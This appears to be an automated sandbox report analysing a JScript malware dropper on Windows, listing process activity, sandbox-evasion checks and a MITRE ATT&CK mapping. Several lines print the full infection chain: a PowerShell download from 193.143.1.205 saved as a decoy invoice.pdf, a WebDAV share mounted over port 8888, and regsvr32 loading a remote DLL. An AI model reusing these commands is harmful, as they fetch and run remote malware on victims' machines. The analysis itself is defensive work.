Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3399.js.csv");ITextStream.WriteLine(" entry:9283 f:mjtso");ITextStream.WriteLine(" exec:2 f:mjtso");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49770

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4300			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5542			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 4300 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep count: 5542 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3868	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2656539208.00000299AC02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.1429491644.000001EF2B09F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2658087627.00000299B1658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1429491644.000001EF2B038000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
